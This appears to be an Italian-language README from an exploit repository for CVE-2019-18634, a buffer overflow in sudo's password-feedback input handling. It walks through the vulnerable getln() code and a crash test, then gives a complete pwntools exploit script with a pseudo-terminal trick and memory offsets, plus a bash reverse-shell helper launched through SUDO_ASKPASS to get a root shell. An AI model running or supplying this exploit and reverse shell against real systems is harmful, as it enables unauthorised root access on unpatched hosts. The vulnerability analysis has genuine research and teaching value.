
Questo repository contiene sia l'exploit che la spiegazione di come questa vulnerabilità viene sfruttata.
CVE-2019-18634 è una vulnerabilità che colpisce Sudo nelle versioni < 1.8.25 quando pwfeedback è abilitato nel file sudoers. Consente a un attaccante di elevare i privilegi a root sfruttando un buffer overflow basato su BSS, in cui le strutture dati vengono alterate e il programma pensa di essere eseguito come root e, quindi, non chiede più la password e concede privilegi di root.
In questa analisi andrò prima a fondo nella scoperta della vulnerabilità analizzando il codice e capendo cosa non va. L'articolo di NIST spiega che la vulnerabilità si trova nella funzione getln(), quindi diamo un'occhiata a questa prima:
Possiamo vedere che la funzione legge da un file descriptor buffersize volte una per una e, se il carattere letto è sudo-term-kill, inizia a cancellare tutto l'input inviato, riporta il puntatore corrente all'inizio e imposta nuovamente il numero di caratteri da leggere come buffersize.
Il bug risiede nel seguente frammento di codice:
static char *
getln(int fd, char *buf, size_t bufsiz, int feedback)
{
size_t left = bufsiz;
ssize_t nr = -1;
char *cp = buf;
char c = '\0';
debug_decl(getln, SUDO_DEBUG_CONV)
// ...
while (--left) {
nr = read(fd, &c, 1);
if (nr != 1 || c == '\n' || c == '\r')
break;
if (feedback) {
if (c == sudo_term_kill) {
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
}
// ...
}
*cp++ = c;
}
// ...
}
In pratica, quando il carattere sudo-term-kill è presente, se l'operazione di scrittura fallisce, il puntatore al buffer non viene decrementato, ma il contatore di quanti caratteri possono essere scritti viene reimpostato, effettuando di fatto una scrittura di lunghezza arbitraria su quel buffer.
Un'analisi approfondita del codice e delle funzioni utilizzate rivela che il carattere sudo-term-kill è definito come un intero globale non dichiarato, il che significa che verrà inizializzato a 0 a meno che non riceva input da un terminale, nel qual caso sarà ciò che è impostato nella struttura c_cc di termios, che secondo la documentazione è:
Non entrerò troppo nel dettaglio sulle deduzioni qui, ma tutte possono essere replicate guardando il codice sorgente del file term.c nel repository di Sudo.
Dopo questa breve analisi, non resta che far crashare il programma e fare il debug per vedere cosa viene memorizzato e come potrebbe essere sfruttato per trarne profitto.
Per innescare l'exploit, dobbiamo solo inviare un payload con abbastanza dati da far overfloware il buffer e crashare il programma. Per farlo, ho deciso di usare la libreria Python pwntools
import pwn
payload = b"A\x00"*10000
p = pwn.process(["/usr/local/bin/sudo", "-k", "-S", "id"]) # -k for asking the password every time, -S to specify stdin, as pwntools needs to pass data through stdin
print(p.read())
p.sendline(payload)
print(p.read())
Che, all'esecuzione, ha dato il seguente errore:

Ottimo!! Segmentation fault, quindi abbiamo sovrascritto qualcosa che ha mandato in crash l'esecuzione del binario. Ora dovremmo guardare cosa è stato sovrascritto e i modi per trarne profitto
Per fare il debug del binario, dobbiamo solo mettere in pausa l'esecuzione del processo prima di inviare il payload, poi collegare un debugger e continuare l'esecuzione. Deve essere così perché per fare il debug del processo sudo è necessario sfruttare i privilegi di root, ma ciò fa sì che il programma non chieda la password, che è la parte vulnerabile.
Detto questo, passiamo a vedere cosa è stato memorizzato nel buffer e negli indirizzi di memoria successivi:

Possiamo vedere che, oltre al buffer, sono state sovrascritte diverse altre strutture dati, il che potrebbe essere interessante per sfruttare questa vulnerabilità. Successivamente, ho deciso di vedere quali dati erano presenti in quelle strutture dati prima della sovrascrittura. Per farlo, ho semplicemente eseguito lo stesso script ma sovrascrivendo solo buffersize byte di dati e poi ho analizzato di nuovo la memoria:
Come possiamo vedere, la struttura dati signo è tutta a 0, tranne il byte alla posizione 548, che è 0x02. È poi seguita dalla struttura user-details, che nel codice è indicata come i dettagli dell'utente che esegue sudo. Lo 0x02 rappresenta l'opzione -S, come definita nel file sudo.h. Nello stesso file è definita un'altra opzione chiamata Askpass, in cui un programma viene ottenuto da una variabile d'ambiente e viene usato come helper per ottenere la password (invece di usare una TTY o lo STDIN). Con queste informazioni, il percorso di sfruttamento potrebbe diventare un po' più chiaro.
Potremmo essere in grado di impostare un programma helper personalizzato (ad esempio, una reverse shell) e poi sovrascrivere user-details per far sembrare che sudo sia stato eseguito da root
Per lo sfruttamento c'è ancora qualcosa da superare: dobbiamo scrivere degli zero per preservare i dati originali delle strutture dati e, inoltre, dobbiamo impostare i dettagli utente su quelli di root, quindi non possiamo usare l'input standard perché non scriverebbe gli zero. Fortunatamente, sappiamo che, se usiamo un dispositivo di terminale, il carattere di kill è 0x15, che è un carattere di cui non abbiamo affatto bisogno.
Con questo sorge un problema: dobbiamo far fallire l'operazione di scrittura, ma i dispositivi di terminale sono scrivibili e leggibili, il che significa che non faranno fallire l'operazione di scrittura. Facendo qualche ricerca, ho scoperto i pseudo terminali, che sono essenzialmente dispositivi di terminale che possono essere creati dai programmi e controllati:
Con un PTY possiamo comunicare con il master e il master comunicherà con lo slave. Se impostiamo lo slave con soli privilegi di lettura, i programmi non potranno mai scriverci (quindi falliranno), il che significa che saremo in grado di innescare l'exploit.
Con tutto questo in atto, non resta che scrivere la reverse shell
#!/usr/bin/bash
bash -i >& /dev/tcp/127.0.0.1/4242 0>&1
E l'exploit:
import os
import pwn
import sys
####### Offsets of important info #######
buff = 0x563142f712c0
signo = 0x563142f713e0
userdetails = 0x563142f71500
tgetflag = 0x563142f714e4
####### PTY file descriptors ######
masterfd, slavefd = os.openpty()
fd = os.open(os.ttyname(slavefd), os.O_RDONLY)
rshell = "/tmp/revshell.sh"
####### Process started with pty as stdin and rshell as sudo askpass program ###
proc = pwn.process(['/usr/local/bin/sudo', '-k', '-S', 'id'], env={'SUDO_ASKPASS':rshell}, stdin=fd)
pwn.log.info(f"Process started. Will execute {rshell} as payload")
####### Listener #######
port = pwn.listen(4242)
####### Payload #######
pwn.log.info("Sending Payload")
payload = (b'\x00' + b'\x15') * (tgetflag - buff)
payload += pwn.p64(0x4).ljust(userdetails - tgetflag, b'\x00')
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
os.write(masterfd, payload + b'\n')
port.wait_for_connection()
pwn.log.info("wo0t wo0t welcome back, my lord")
port.interactive()
Usando questi, si riceve una reverse shell come root:
